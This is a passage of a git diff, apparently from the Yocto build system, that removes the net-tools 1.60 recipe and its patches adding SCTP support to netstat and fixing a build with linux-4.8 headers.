strtoul(inode_str,0,0); -+ lport = atoi(lport_str); -+ rport = atoi(rport_str); -+ -+ if(flag_sctp<=1) { -+ /* only print the primary addresses */ -+ char local_addr[64]; -+ char local_port[16]; -+ char remote_addr[64]; -+ char remote_port[16]; -+ -+ ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr); -+ if(ap) -+ safe_strncpy(local_addr, -+ ap->sprint((struct sockaddr *) &localaddr, flag_not), -+ sizeof(local_addr)); -+ else -+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); -+ -+ snprintf(local_port, sizeof(local_port), "%s", -+ get_sname(htons(lport), "sctp", -+ flag_not & FLAG_NUM_PORT)); -+ -+ ap = process_sctp_addr_str(praddr_str, (struct sockaddr*)&remoteaddr); -+ if(ap) -+ safe_strncpy(remote_addr, -+ ap->sprint((struct sockaddr *) &remoteaddr, flag_not), -+ sizeof(remote_addr)); -+ else -+ sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family); -+ -+ snprintf(remote_port, sizeof(remote_port), "%s", -+ get_sname(htons(rport), "sctp", -+ flag_not & FLAG_NUM_PORT)); -+ -+ printf("sctp"); -+ printf(" %6u %6u ", rxqueue, txqueue); -+ sprintf(buffer,"%s:%s", local_addr, local_port); -+ printf("%-23s", buffer); -+ printf(" "); -+ sprintf(buffer,"%s:%s", remote_addr, remote_port); -+ printf("%-23s", buffer); -+ printf(" %-12s", sctp_socket_state_str(state)); -+ } else { -+ /*print all addresses*/ -+ const char *this_local_addr; -+ const char *this_remote_addr; -+ char *ss1,*ss2; -+ int first=1; -+ char local_port[16]; -+ char remote_port[16]; -+ snprintf(local_port, sizeof(local_port), "%s", -+ get_sname(htons(lport), "sctp", -+ flag_not & FLAG_NUM_PORT)); -+ snprintf(remote_port, sizeof(remote_port), "%s", -+ get_sname(htons(rport), "sctp", -+ flag_not & FLAG_NUM_PORT)); -+ -+ this_local_addr=strtok_r(laddrs_str," \t\n",&ss1); -+ this_remote_addr=strtok_r(raddrs_str," \t\n",&ss2); -+ while(this_local_addr || this_remote_addr) { -+ char local_addr[64]; -+ char remote_addr[64]; -+ if(this_local_addr) { -+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr); -+ if(ap) -+ safe_strncpy(local_addr, -+ ap->sprint((struct sockaddr *) &localaddr, flag_not), -+ sizeof(local_addr)); -+ else -+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); -+ } -+ if(this_remote_addr) { -+ ap = process_sctp_addr_str(this_remote_addr, (struct sockaddr*)&remoteaddr); -+ if(ap) -+ safe_strncpy(remote_addr, -+ ap->sprint((struct sockaddr *) &remoteaddr, flag_not), -+ sizeof(remote_addr)); -+ else -+ sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family); -+ } -+ -+ if(!first) printf("\n"); -+ if(first) -+ printf("sctp %6u %6u ", rxqueue, txqueue); -+ else -+ printf(" "); -+ if(this_local_addr) { -+ if(first) -+ sprintf(buffer,"%s:%s", local_addr, local_port); -+ else -+ sprintf(buffer,"%s", local_addr); -+ printf("%-23s", buffer); -+ } else -+ printf("%-23s", ""); -+ printf(" "); -+ if(this_remote_addr) { -+ if(first) -+ sprintf(buffer,"%s:%s", remote_addr, remote_port); -+ else -+ sprintf(buffer,"%s", remote_addr); -+ printf("%-23s", buffer); -+ } else -+ printf("%-23s", ""); -+ -+ printf(" %-12s", first?sctp_socket_state_str(state):""); -+ -+ first = 0; -+ this_local_addr=strtok_r(0," \t\n",&ss1); -+ this_remote_addr=strtok_r(0," \t\n",&ss2); -+ } -+ } -+ -+ finish_this_one(uid,inode,""); -+} -+ -+static int sctp_info_eps(void) -+{ -+#if !defined(_PATH_PROCNET_SCTP_EPS) -+#define _PATH_PROCNET_SCTP_EPS "/proc/net/sctp/eps" -+#endif -+ INFO_GUTS(_PATH_PROCNET_SCTP_EPS, "AF INET (sctp)", -+ sctp_eps_do_one); -+} -+ -+static int sctp_info_assocs(void) -+{ -+#if !defined(_PATH_PROCNET_SCTP_ASSOCS) -+#define _PATH_PROCNET_SCTP_ASSOCS "/proc/net/sctp/assocs" -+#endif -+ INFO_GUTS(_PATH_PROCNET_SCTP_ASSOCS, "AF INET (sctp)", -+ sctp_assoc_do_one); -+} -+ -+static int sctp_info(void) -+{ -+ if(flag_all) -+ sctp_info_eps(); -+ return sctp_info_assocs(); -+} -+ - static void raw_do_one(int lnr, const char *line) - { - char buffer[8192], local_addr[64], rem_addr[64]; -@@ -1558,7 +1941,7 @@ static void usage(void) - fprintf(stderr, _(" -F, --fib display Forwarding Information Base (default)\n")); - fprintf(stderr, _(" -C, --cache display routing cache instead of FIB\n\n")); - -- fprintf(stderr, _(" <Socket>={-t|--tcp} {-u|--udp} {-w|--raw} {-x|--unix} --ax25 --ipx --netrom\n")); -+ fprintf(stderr, _(" <Socket>={-t|--tcp} {-u|--udp} {-S|--sctp} {-w|--raw} {-x|--unix} --ax25 --ipx --netrom\n")); - fprintf(stderr, _(" <AF>=Use '-6|-4' or '-A <af>' or '--<af>'; default: %s\n"), DFLT_AF); - fprintf(stderr, _(" List of possible address families (which support routing):\n")); - print_aflist(1); /* 1 = routeable */ -@@ -1583,6 +1966,7 @@ int main - {"protocol", 1, 0, 'A'}, - {"tcp", 0, 0, 't'}, - {"udp", 0, 0, 'u'}, -+ {"sctp", 0, 0, 'S' }, - {"raw", 0, 0, 'w'}, - {"unix", 0, 0, 'x'}, - {"listening", 0, 0, 'l'}, -@@ -1613,7 +1997,7 @@ int main - getroute_init(); /* Set up AF routing support */ - - afname[0] = '\0'; -- while ((i = getopt_long(argc, argv, "MCFA:acdegphinNorstuWVv?wxl64", longopts, &lop)) != EOF) -+ while ((i = getopt_long(argc, argv, "MCFA:acdegphinNorstuSWVv?wxl64", longopts, &lop)) != EOF) - switch (i) { - case -1: - break; -@@ -1705,10 +2089,12 @@ int main - case 't': - flag_tcp++; - break; -- - case 'u': - flag_udp++; - break; -+ case 'S': -+ flag_sctp++; -+ break; - case 'w': - flag_raw++; - break; -@@ -1726,13 +2112,13 @@ int main - if (flag_int + flag_rou + flag_mas + flag_sta > 1) - usage(); - -- if ((flag_inet || flag_inet6 || flag_sta) && !(flag_tcp || flag_udp || flag_raw)) -- flag_tcp = flag_udp = flag_raw = 1; -+ if ((flag_inet || flag_inet6 || flag_sta) && !(flag_tcp || flag_udp || flag_sctp || flag_raw)) -+ flag_tcp = flag_udp = flag_sctp = flag_raw = 1; - -- if ((flag_tcp || flag_udp || flag_raw || flag_igmp) && !(flag_inet || flag_inet6)) -+ if ((flag_tcp || flag_udp || flag_sctp || flag_raw || flag_igmp) && !(flag_inet || flag_inet6)) - flag_inet = flag_inet6 = 1; - -- flag_arg = flag_tcp + flag_udp + flag_raw + flag_unx + flag_ipx -+ flag_arg = flag_tcp + flag_udp + flag_sctp + flag_raw + flag_unx + flag_ipx - + flag_ax25 + flag_netrom + flag_igmp + flag_x25; - - if (flag_mas) { -@@ -1760,7 +2146,7 @@ int main - char buf[256]; - if (!afname[0]) { - inittab(); -- parsesnmp(flag_raw, flag_tcp, flag_udp); -+ parsesnmp(flag_raw, flag_tcp, flag_udp, flag_sctp); - } else { - safe_strncpy(buf, afname, sizeof(buf)); - tmp1 = buf; -@@ -1815,7 +2201,7 @@ int main - return (i); - } - for (;;) { -- if (!flag_arg || flag_tcp || flag_udp || flag_raw) { -+ if (!flag_arg || flag_tcp || flag_udp || flag_sctp || flag_raw) { - #if HAVE_AFINET - prg_cache_load(); - printf(_("Active Internet connections ")); /* xxx */ -@@ -1854,6 +2240,11 @@ int main - if (i) - return (i); - } -+ if (!flag_arg || flag_sctp) { -+ i = sctp_info(); -+ if (i) -+ return (i); -+ } - if (!flag_arg || flag_raw) { - i = raw_info(); - if (i) -Index: net-tools-1.60/statistics.c -=================================================================== ---- net-tools-1.60.orig/statistics.c -+++ net-tools-1.60/statistics.c -@@ -21,7 +21,7 @@ - #define UFWARN(x) - #endif - --int print_static,f_raw,f_tcp,f_udp,f_unknown = 1; -+int print_static,f_raw,f_tcp,f_udp,f_sctp,f_unknown = 1; - - enum State { - number = 0, opt_number, i_forward, i_inp_icmp, i_outp_icmp, i_rto_alg, -@@ -297,6 +297,27 @@ struct entry Tcpexttab[] = - { "TCPRenoRecoveryFail", N_("%llu classic Reno fast retransmits failed"), opt_number }, - }; - -+struct entry Sctptab[] = -+{ -+ {"SctpCurrEstab", N_("%u Current Associations"), number}, -+ {"SctpActiveEstabs", N_("%u Active Associations"), number}, -+ {"SctpPassiveEstabs", N_("%u Passive Associations"), number}, -+ {"SctpAborteds", N_("%u Number of Aborteds "), number}, -+ {"SctpShutdowns", N_("%u Number of Graceful Terminations"), number}, -+ {"SctpOutOfBlues", N_("%u Number of Out of Blue packets"), number}, -+ {"SctpChecksumErrors", N_("%u Number of Packets with invalid Checksum"), number}, -+ {"SctpOutCtrlChunks", N_("%u Number of control chunks sent"), number}, -+ {"SctpOutOrderChunks", N_("%u Number of ordered chunks sent"), number}, -+ {"SctpOutUnorderChunks", N_("%u Number of Unordered chunks sent"), number}, -+ {"SctpInCtrlChunks", N_("%u Number of control chunks received"), number}, -+ {"SctpInOrderChunks", N_("%u Number of ordered chunks received"), number}, -+ {"SctpInUnorderChunks", N_("%u Number of Unordered chunks received"), number}, -+ {"SctpFragUsrMsgs", N_("%u Number of messages fragmented"), number}, -+ {"SctpReasmUsrMsgs", N_("%u Number of messages reassembled "), number}, -+ {"SctpOutSCTPPacks", N_("%u Number of SCTP packets sent"), number}, -+ {"SctpInSCTPPacks", N_("%u Number of SCTP packets received"), number}, -+}; -+ - struct tabtab { - char *title; - struct entry *tab; -@@ -310,6 +331,7 @@ struct tabtab snmptabs[] = - {"Icmp", Icmptab, sizeof(Icmptab), &f_raw}, - {"Tcp", Tcptab, sizeof(Tcptab), &f_tcp}, - {"Udp", Udptab, sizeof(Udptab), &f_udp}, -+ {"Sctp", Sctptab, sizeof(Sctptab), &f_sctp}, - {"TcpExt", Tcpexttab, sizeof(Tcpexttab), &f_tcp}, - {NULL} - }; -@@ -499,12 +521,40 @@ void process6_fd(FILE *f) - - } - --void parsesnmp(int flag_raw, int flag_tcp, int flag_udp) -+/* Process a file with name-value lines (like /proc/net/sctp/snmp) */ -+void process_fd2(FILE *f, const char *filename) -+{ -+ char buf1[1024]; -+ char *sp; -+ struct tabtab *tab; -+ -+ tab = newtable(snmptabs, "Sctp"); -+ -+ while (fgets(buf1, sizeof buf1, f)) { -+ sp = buf1 + strcspn(buf1, " \t\n"); -+ if (!sp) -+ goto formaterr; -+ *sp = '\0'; -+ sp++; -+ -+ sp += strspn(sp, " \t\n"); -+ -+ if (*sp != '\0' && *(tab->flag)) -+ printval(tab, buf1, strtoul(sp, 0, 10)); -+ } -+ return; -+ -+formaterr: -+ fprintf(stderr,_("error parsing %s\n"), filename); -+ return; -+} -+ -+void parsesnmp(int flag_raw, int flag_tcp, int flag_udp, int flag_sctp) - { - FILE *f; - -- f_raw = flag_raw; f_tcp = flag_tcp; f_udp = flag_udp; -- -+ f_raw = flag_raw; f_tcp = flag_tcp; f_udp = flag_udp; f_sctp = flag_sctp; -+ - f = proc_fopen("/proc/net/snmp"); - if (!f) { - perror(_("cannot open /proc/net/snmp")); -@@ -530,6 +580,16 @@ void parsesnmp(int flag_raw, int flag_tc - - fclose(f); - } -+ -+ f = fopen("/proc/net/sctp/snmp", "r"); -+ if (f) { -+ process_fd2(f,"/proc/net/sctp/snmp"); -+ if (ferror(f)) -+ perror("/proc/net/sctp/snmp"); -+ -+ fclose(f); -+ } -+ - return; - } - diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch deleted file mode 100644 index d34e651327..0000000000 --- a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch +++ /dev/null @@ -1,28 +0,0 @@ -From 14287b594e1f02b811f889fb515c1a51b72c08d4 Mon Sep 17 00:00:00 2001 -From: Li Zhou <li.zhou@windriver.com> -Date: Thu, 14 Jan 2016 17:07:48 +0800 -Subject: [PATCH 2/3] net-tools: add SCTP support for netstat - -Upstream-Status: pending - -Signed-off-by: Li Zhou <li.zhou@windriver.com> ---- - netstat.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/netstat.c b/netstat.c -index 5d1a4a1..56a15c2 100644 ---- a/netstat.c -+++ b/netstat.c -@@ -2104,7 +2104,7 @@ int main - usage(); - - if ((flag_inet || flag_inet6 || flag_sta) && !(flag_tcp || flag_udp || flag_sctp || flag_raw)) -- flag_tcp = flag_udp = flag_sctp = flag_raw = 1; -+ flag_tcp = flag_udp = flag_raw = 1; - - if ((flag_tcp || flag_udp || flag_sctp || flag_raw || flag_igmp) && !(flag_inet || flag_inet6)) - flag_inet = flag_inet6 = 1; --- -1.8.5.2.233.g932f7e4 - diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch deleted file mode 100644 index 8b2ecab707..0000000000 --- a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch +++ /dev/null @@ -1,363 +0,0 @@ -From 1d386279a449a1a6b96b88a71f35bf13b14b2c2c Mon Sep 17 00:00:00 2001 -From: Li Zhou <li.zhou@windriver.com> -Date: Thu, 14 Jan 2016 17:11:24 +0800 -Subject: [PATCH 3/3] net-tools: add SCTP support for netstat - -Upstream-Status: pending - -Signed-off-by: Li Zhou <li.zhou@windriver.com> ---- - netstat.c | 282 ++++++++++++++++++++++++-------------------------------------- - 1 file changed, 108 insertions(+), 174 deletions(-) - -diff --git a/netstat.c b/netstat.c -index 56a15c2..86adadb 100644 ---- a/netstat.c -+++ b/netstat.c -@@ -1095,23 +1095,21 @@ static void sctp_eps_do_one(int lnr, char *line) - const char *lport_str; - const char *uid_str; - const char *inode_str; -- const char *pladdr_str; - char *laddrs_str; - - if(lnr == 0) { -- /* ENDPT SOCK STY SST HBKT LPORT uid inode pladdr LADDRS*/ -+ /* ENDPT SOCK STY SST HBKT LPORT UID INODE LADDRS */ - return; - } - -- strtok(line," \t\n"); /*skip ptr*/ -- strtok(0," \t\n"); /*skip ptr*/ -+ strtok(line," \t\n"); /*skip endpt*/ -+ strtok(0," \t\n"); /*skip sock*/ - sty_str = strtok(0," \t\n"); - sst_str = strtok(0," \t\n"); - strtok(0," \t\n"); /*skip hash bucket*/ - lport_str=strtok(0," \t\n"); - uid_str = strtok(0," \t\n"); - inode_str = strtok(0," \t\n"); -- pladdr_str = strtok(0," \t\n"); - laddrs_str=strtok(0,"\t\n"); - - type = atoi(sty_str); -@@ -1119,61 +1117,35 @@ static void sctp_eps_do_one(int lnr, char *line) - port = atoi(lport_str); - uid = atoi(uid_str); - inode = strtoul(inode_str,0,0); -- -- if(flag_sctp<=1) { -- /* only print the primary address */ -- char local_addr[64]; -- char local_port[16]; -- -- ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr); -- if(ap) -- safe_strncpy(local_addr, -- ap->sprint((struct sockaddr *) &localaddr, flag_not), -- sizeof(local_addr)); -- else -- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); -- -- snprintf(local_port, sizeof(local_port), "%s", -- get_sname(htons(port), "sctp", -- flag_not & FLAG_NUM_PORT)); -- -- printf("sctp "); -- sprintf(buffer,"%s:%s", local_addr, local_port); -- printf("%-47s", buffer); -- printf(" %-12s", sctp_socket_state_str(state)); -- } else { -- /*print all addresses*/ -- const char *this_local_addr; -- int first=1; -- char local_port[16]; -- snprintf(local_port, sizeof(local_port), "%s", -- get_sname(htons(port), "sctp", -- flag_not & FLAG_NUM_PORT)); -- for(this_local_addr=strtok(laddrs_str," \t\n"); -- this_local_addr; -- this_local_addr=strtok(0," \t\n")) -- { -- char local_addr[64]; -- ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr); -- if(ap) -- safe_strncpy(local_addr, -- ap->sprint((struct sockaddr *) &localaddr, flag_not), -- sizeof(local_addr)); -- else -- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); - -- if(!first) printf("\n"); -- if(first) -- printf("sctp "); -- else -- printf(" "); -- sprintf(buffer,"%s:%s", local_addr, local_port); -- printf("%-47s", buffer); -- printf(" %-12s", first?sctp_socket_state_str(state):""); -- first = 0; -- } -+ const char *this_local_addr; -+ int first=1; -+ char local_port[16]; -+ snprintf(local_port, sizeof(local_port), "%s", -+ get_sname(htons(port), "sctp", flag_not & FLAG_NUM_PORT)); -+ for(this_local_addr=strtok(laddrs_str," \t\n"); -+ this_local_addr; -+ this_local_addr=strtok(0," \t\n")) -+ { -+ char local_addr[64]; -+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr); -+ if(ap) -+ safe_strncpy(local_addr, -+ ap->sprint((struct sockaddr *) &localaddr, flag_not), -+ sizeof(local_addr)); -+ else -+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); -+ -+ if(!first) printf("\n"); -+ if(first) -+ printf("sctp "); -+ else -+ printf(" "); -+ sprintf(buffer,"%s:%s", local_addr, local_port); -+ printf("%-55s", buffer); -+ printf(" %-12s", first?sctp_socket_state_str(state):""); -+ first = 0; - } -- - finish_this_one(uid,inode,""); - } - -@@ -1199,32 +1171,29 @@ static void sctp_assoc_do_one(int lnr, char *line) - const char *lport_str,*rport_str; - const char *uid_str; - const char *inode_str; -- const char *pladdr_str; - char *laddrs_str; -- const char *praddr_str; - char *raddrs_str; -- -+ - if(lnr == 0) { -- /* ASSOC SOCK STY SST ST HBKT tx_queue rx_queue uid inode LPORT RPORT pladdr praddr LADDRS <-> RADDRS*/ -+ /* ASSOC SOCK STY SST ST HBKT ASSOC-ID TX_QUEUE RX_QUEUE UID INODE LPORT RPORT LADDRS <-> RADDRS */ - return; - } -- -- strtok(line," \t\n"); /*skip ptr*/ -- strtok(0," \t\n"); /*skip ptr*/ -+ -+ strtok(line," \t\n"); /*skip assoc*/ -+ strtok(0," \t\n"); /*skip sock*/ - sty_str = strtok(0," \t\n"); - sst_str = strtok(0," \t\n"); - st_str = strtok(0," \t\n"); - strtok(0," \t\n"); /*skip hash bucket*/ -+ strtok(0," \t\n"); /*skip hash assoc-id*/ - txqueue_str = strtok(0," \t\n"); - rxqueue_str = strtok(0," \t\n"); - uid_str = strtok(0," \t\n"); - inode_str = strtok(0," \t\n"); - lport_str=strtok(0," \t\n"); - rport_str=strtok(0," \t\n"); -- pladdr_str = strtok(0," \t\n"); -- praddr_str = strtok(0," \t\n"); -- laddrs_str=strtok(0,"<->\t\n"); -- raddrs_str=strtok(0,"<->\t\n"); -+ laddrs_str = strtok(0,"<->\t\n"); -+ raddrs_str = strtok(0,"<->\t\n"); - - type = atoi(sty_str); - state = atoi(sst_str); -@@ -1235,116 +1204,81 @@ static void sctp_assoc_do_one(int lnr, char *line) - inode = strtoul(inode_str,0,0); - lport = atoi(lport_str); - rport = atoi(rport_str); -- -- if(flag_sctp<=1) { -- /* only print the primary addresses */ -- char local_addr[64]; -- char local_port[16]; -- char remote_addr[64]; -- char remote_port[16]; -- -- ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr); -- if(ap) -- safe_strncpy(local_addr, -- ap->sprint((struct sockaddr *) &localaddr, flag_not), -- sizeof(local_addr)); -- else -- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); -- -- snprintf(local_port, sizeof(local_port), "%s", -- get_sname(htons(lport), "sctp", -- flag_not & FLAG_NUM_PORT)); -- -- ap = process_sctp_addr_str(praddr_str, (struct sockaddr*)&remoteaddr); -- if(ap) -- safe_strncpy(remote_addr, -- ap->sprint((struct sockaddr *) &remoteaddr, flag_not), -- sizeof(remote_addr)); -- else -- sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family); -- -- snprintf(remote_port, sizeof(remote_port), "%s", -- get_sname(htons(rport), "sctp", -- flag_not & FLAG_NUM_PORT)); -- -- printf("sctp"); -- printf(" %6u %6u ", rxqueue, txqueue); -- sprintf(buffer,"%s:%s", local_addr, local_port); -- printf("%-23s", buffer); -- printf(" "); -- sprintf(buffer,"%s:%s", remote_addr, remote_port); -- printf("%-23s", buffer); -- printf(" %-12s", sctp_socket_state_str(state)); -- } else { -- /*print all addresses*/ -- const char *this_local_addr; -- const char *this_remote_addr; -- char *ss1,*ss2; -- int first=1; -- char local_port[16]; -- char remote_port[16]; -- snprintf(local_port, sizeof(local_port), "%s", -- get_sname(htons(lport), "sctp", -- flag_not & FLAG_NUM_PORT)); -- snprintf(remote_port, sizeof(remote_port), "%s", -- get_sname(htons(rport), "sctp", -- flag_not & FLAG_NUM_PORT)); -- -- this_local_addr=strtok_r(laddrs_str," \t\n",&ss1); -- this_remote_addr=strtok_r(raddrs_str," \t\n",&ss2); -- while(this_local_addr || this_remote_addr) { -- char local_addr[64]; -- char remote_addr[64]; -- if(this_local_addr) { -- ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr); -- if(ap) -- safe_strncpy(local_addr, -- ap->sprint((struct sockaddr *) &localaddr, flag_not), -- sizeof(local_addr)); -- else -- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); -- } -- if(this_remote_addr) { -- ap = process_sctp_addr_str(this_remote_addr, (struct sockaddr*)&remoteaddr); -- if(ap) -- safe_strncpy(remote_addr, -- ap->sprint((struct sockaddr *) &remoteaddr, flag_not), -- sizeof(remote_addr)); -- else -- sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family); -- } - -- if(!first) printf("\n"); -- if(first) -- printf("sctp %6u %6u ", rxqueue, txqueue); -- else -- printf(" "); -- if(this_local_addr) { -- if(first) -- sprintf(buffer,"%s:%s", local_addr, local_port); -+ /*print all addresses*/ -+ const char *this_local_addr; -+ const char *this_remote_addr; -+ char *ss1,*ss2; -+ int first=1; -+ char local_port[16]; -+ char remote_port[16]; -+ snprintf(local_port, sizeof(local_port), "%s", -+ get_sname(htons(lport), "sctp", -+ flag_not & FLAG_NUM_PORT)); -+ snprintf(remote_port, sizeof(remote_port), "%s", -+ get_sname(htons(rport), "sctp", -+ flag_not & FLAG_NUM_PORT)); -+ -+ this_local_addr=strtok_r(laddrs_str," \t\n",&ss1); -+ this_remote_addr=strtok_r(raddrs_str," \t\n",&ss2); -+ while(this_local_addr || this_remote_addr) { -+ char local_addr[64]; -+ char remote_addr[64]; -+ -+ if(this_local_addr) { -+ if (this_local_addr[0] == '*') { -+ /* skip * */ -+ this_local_addr++; -+ } -+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr); -+ if(ap) -+ safe_strncpy(local_addr, -+ ap->sprint((struct sockaddr *) &localaddr, flag_not), sizeof(local_addr)); - else -- sprintf(buffer,"%s", local_addr); -- printf("%-23s", buffer); -- } else -- printf("%-23s", ""); -- printf(" "); -- if(this_remote_addr) { -- if(first) -- sprintf(buffer,"%s:%s", remote_addr, remote_port); -+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); -+ } -+ if(this_remote_addr) { -+ if (this_remote_addr[0] == '*') { -+ /* skip * */ -+ this_remote_addr++; -+ } -+ ap = process_sctp_addr_str(this_remote_addr, (struct sockaddr*)&remoteaddr); -+ if(ap) -+ safe_strncpy(remote_addr, -+ ap->sprint((struct sockaddr *) &remoteaddr, flag_not), sizeof(remote_addr)); - else -- sprintf(buffer,"%s", remote_addr); -- printf("%-23s", buffer); -- } else -- printf("%-23s", ""); -- -- printf(" %-12s", first?sctp_socket_state_str(state):""); -+ sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family); -+ } - -- first = 0; -- this_local_addr=strtok_r(0," \t\n",&ss1); -- this_remote_addr=strtok_r(0," \t\n",&ss2); -- } -+ if(!first) printf("\n"); -+ if(first) -+ printf("sctp %6u %6u ", rxqueue, txqueue); -+ else -+ printf(" "); -+ if(this_local_addr) { -+ if(first) -+ sprintf(buffer,"%s:%s", local_addr, local_port); -+ else -+ sprintf(buffer,"%s", local_addr); -+ printf("%-27s", buffer); -+ } else -+ printf("%-27s", ""); -+ printf(" "); -+ if(this_remote_addr) { -+ if(first) -+ sprintf(buffer,"%s:%s", remote_addr, remote_port); -+ else -+ sprintf(buffer,"%s", remote_addr); -+ printf("%-27s", buffer); -+ } else -+ printf("%-27s", ""); -+ -+ printf(" %-12s", first?sctp_socket_state_str(state):""); -+ -+ first = 0; -+ this_local_addr=strtok_r(0," \t\n",&ss1); -+ this_remote_addr=strtok_r(0," \t\n",&ss2); - } -- - finish_this_one(uid,inode,""); - } - --- -1.8.5.2.233.g932f7e4 - diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch deleted file mode 100644 index 505eeb048a..0000000000 --- a/meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch +++ /dev/null @@ -1,52 +0,0 @@ -From 4d56645ea144a34f7cdd3e3ede6452d81fbae251 Mon Sep 17 00:00:00 2001 -From: Randy MacLeod <Randy.MacLeod@windriver.com> -Date: Sat, 8 Oct 2016 14:42:54 +0800 -Subject: [PATCH] iptunnel.c: include linux/ip.h to fix building with linux-4.8 - -Fix a build error when using the linux-4.8 headers that results in: - -In file included from -.../sysroots/qemuarm64/usr/include/linux/if_tunnel.h:6:0, - from iptunnel.c:39: -.../qemuarm64/usr/include/linux/ip.h:85:8: error: redefinition of -'struct iphdr' - struct iphdr { - ^~~~~ -In file included from iptunnel.c:29:0: -.../qemuarm64/usr/include/netinet/ip.h:44:8: note: originally defined here - struct iphdr - ^~~~~ - -Upstream-Status: Submitted [1] - -[1] https://sourceforge.net/p/net-tools/mailman/message/35413022/ - -Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com> -Signed-off-by: Jackie Huang <jackie.huang@windriver.com> ---- - iptunnel.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/iptunnel.c b/iptunnel.c -index 4943d83..acfcbc7 100644 ---- a/iptunnel.c -+++ b/iptunnel.c -@@ -26,7 +26,6 @@ - #include <sys/socket.h> - #include <sys/ioctl.h> - #include <netinet/in.h> --#include <netinet/ip.h> - #include <arpa/inet.h> - #if defined(__GLIBC__) && (__GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 1)) - #include <net/if.h> -@@ -36,6 +35,7 @@ - #include <linux/if_arp.h> - #endif - #include <linux/types.h> -+#include <linux/ip.h> - #include <linux/if_tunnel.h> - - #include "config.h" --- -2.8.3 - diff --git a/meta/recipes-extended/net-tools/net-tools_1.60-26.bb b/meta/recipes-extended/net-tools/net-tools_1.60-26.bb deleted file mode 100644 index 8bd30fc6d9..0000000000 --- a/meta/recipes-extended/net-tools/net-tools_1.60-26.bb +++ /dev/null @@ -1,132 +0,0 @@ -SUMMARY = "Basic networking tools" -DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system" -HOMEPAGE = "http://net-tools.berlios.de/" -BUGTRACKER = "http://bugs.debian.org/net-tools" -LICENSE = "GPLv2+" -LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \ - file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba" - -SRC_URI = "http://snapshot.debian.org/archive/debian/20050312T000000Z/pool/main/n/${BPN}/${BPN}_1.60.orig.tar.gz;name=tarball \ - http://snapshot.debian.org/archive/debian//20150831T093342Z/pool/main/n/${BPN}/${BPN}_${PV}.diff.gz;apply=no;name=patch \ - file://net-tools-config.h \ - file://net-tools-config.make \ - file://ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch \ - file://musl-fixes.patch \ - file://net-tools-1.60-sctp1.patch \ - file://net-tools-1.60-sctp2-quiet.patch \ - file://net-tools-1.60-sctp3-addrs.patch \ - file://0001-lib-inet6.c-INET6_rresolve-various-fixes.patch \ - file://net-tools-fix-building-with-linux-4.8.patch \ - file://0001-added-ull-prefix-to-unsigned-long-long-constants-to-.patch \ - " - -# for this package we're mostly interested in tracking debian patches, -# and not in the upstream version where all development has effectively stopped -UPSTREAM_CHECK_REGEX = "(?P<pver>((\d+\.*)+)-((\d+\.*)+))\.(diff|debian\.tar)\.(gz|xz)" - -S = "${WORKDIR}/net-tools-1.60" - -SRC_URI[tarball.md5sum] = "ecaf37acb5b5daff4bdda77785fd916d" -SRC_URI[tarball.sha256sum] = "ec67967cf7b1a3a3828a84762fbc013ac50ee5dc9aa3095d5c591f302c2de0f5" - -SRC_URI[patch.md5sum] = "ea3592f49ac8380962bc4d9b66c7e7e9" -SRC_URI[patch.sha256sum] = "aeeeafaff68866a446f01bb639d4e0146a60af34dcd20e31a3e46585022fc76c" - -# the package is taken from snapshots.debian.org; that source is static and goes stale -# so we check the latest upstream from a directory that does get updated -UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/net-tools/" - -inherit gettext - -do_patch[depends] += "quilt-native:do_populate_sysroot" - -# The Makefile is lame, no parallel build -PARALLEL_MAKE = "" - -# Unlike other Debian packages, net-tools *.diff.gz contains another series of -# patches maintained by quilt. So manually apply them before applying other local -# patches. Also 